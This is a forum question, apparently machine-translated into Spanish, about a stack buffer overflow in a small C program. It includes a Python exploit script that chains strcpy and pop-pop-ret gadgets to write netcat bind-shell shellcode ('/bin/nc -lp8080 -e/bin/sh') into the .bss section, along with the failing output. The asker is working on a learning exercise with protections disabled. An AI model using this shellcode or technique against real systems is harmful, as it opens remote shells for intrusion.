Coloque el código de shell en las secciones de escritura - .bss y .data

0

entonces, tengo el siguiente problema. Digamos, tengo un programa vulnerable simple, como este:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln_function(char *);

int main(int argc, char *argv[])
{
    if(argc != 2)
    {
        printf("Arg needed...\n");
        exit(1);
    }

    vuln_function(argv[1]);
    return 0;
}

void vuln_function(char *buff)    
{
    char buffer[64];
    strcpy(buffer, buff);
    printf("Out: %s\n", buffer);
}

Pasaje vulnerable - strcpy (buffer, buff); , explotando a través de argv [1], nada nuevo.

Pero digamos, no puedo exportar shellcode en environment @ porque me gustaría aprender sobre otros lugares, donde puedo poner shellcode. Una de las opciones posibles para ocultar el código de shell es .bss o .data section, lo he comprobado con readelf.

[25] .data             PROGBITS        08049928 000928 000008 00  WA  0   0  4

[26] .bss              NOBITS          080497a4 000930 000004 00  WA  0   0  1

Con este hecho, decidí usar la sección .bss, donde me gustaría colocar mi código de shell. Estoy usando netcat shellcode - 75 bytes, puede encontrarlo aquí:

enlace

A continuación, algunas funciones y sus direcciones que necesitaba eran strcpy () y pop-pop-ret

strcpy = 0x08048370
ppr = 0x08048587

Ahora, cuando tengo todo lo importante, escribí exploit ...

#!/usr/bin/env python
#
# 0x080497a4 - bss
# 0x08048370 - strcpy 
# 0x08048587 - pop/pop/ret
#

from struct import pack
import subprocess, sys

junk = "A" * 76
strcpy = 0x08048370
ppr = 0x08048587

payload = junk

payload += strcpy
payload += ppr
payload += pack("<L", 0x080497a4) # bss
payload += "\xeb\x2a\x5e\x31"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497a8) # + 4
payload += "\xc0\x88\x46\x07"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ac) # + 8
payload += "\x88\x46\x0f\x88"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b0) # + 12
payload += "\x46\x19\x89\x76"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b4) # + 16
payload += "\x1a\x8d\x5e\x08"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497b8)
payload += "\x89\x5e\x1e\x8d"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497bc)
payload += "\x5e\x10\x89\x5e"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c0)
payload += "\x22\x89\x46\x26"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c4)
payload += "\xb0\x0b\x89\xf3"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497c8)
payload += "\x8d\x4e\x1a\x8d"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497cc)
payload += "\x56\x26\xcd\x80"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d0)
payload += "\xe8\xd1\xff\xff"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d4)
payload += "\xff\x2f\x62\x69"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497d8)
payload += "\x6e\x2f\x6e\x63"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497dc)
payload += "\x23\x2d\x6c\x70"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e0)
payload += "\x38\x30\x38\x30"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e4)
payload += "\x23\x2d\x65\x2f"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497e8)
payload += "\x62\x69\x6e\x2f"

payload += strcpy
payload += ppr
payload += pack("<L", 0x80497ec)
payload += "\x73\x68\x23\x90"

payload += pack("<L", 0x080497a4)

print("[+] Running exploit...")
subprocess.call(["./a.out", payload])

Agregué el byte "\ x90" al final del shellcode, para que sea de 76 bytes y también puse 4 bytes por 4 bytes en .bss y después de cada 4 bytes de sc, agregué + 4 bytes a la dirección de .bss

Pensando, la dirección final de .bss debería contener netcat shellcode, lo he ejecutado, pero todo lo que obtuve fue esto -

[+] Running exploit...
Out: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp������*^1p�������Fp������F�p�����F�vp������p������^�p�����^�^p�����"�F&p������
                                                            ��p������N�p�����V&��p���������p������/bip�����n/ncp�����#-lpp�����8080p�����#-e/p�����bin/p�����sh#���

Todas las protecciones están deshabilitadas. He pasado un tiempo por encima de eso, pero no puedo encontrar, qué pasa.

Si alguno de ustedes puede darme una pista o mostrarme dónde fallé, hágamelo saber, por favor, me alegro de aprender algo nuevo y evitar errores innecesarios. Gracias de antemano!

    
pregunta core2dump 27.01.2016 - 01:30
fuente

0 respuestas

Lea otras preguntas en las etiquetas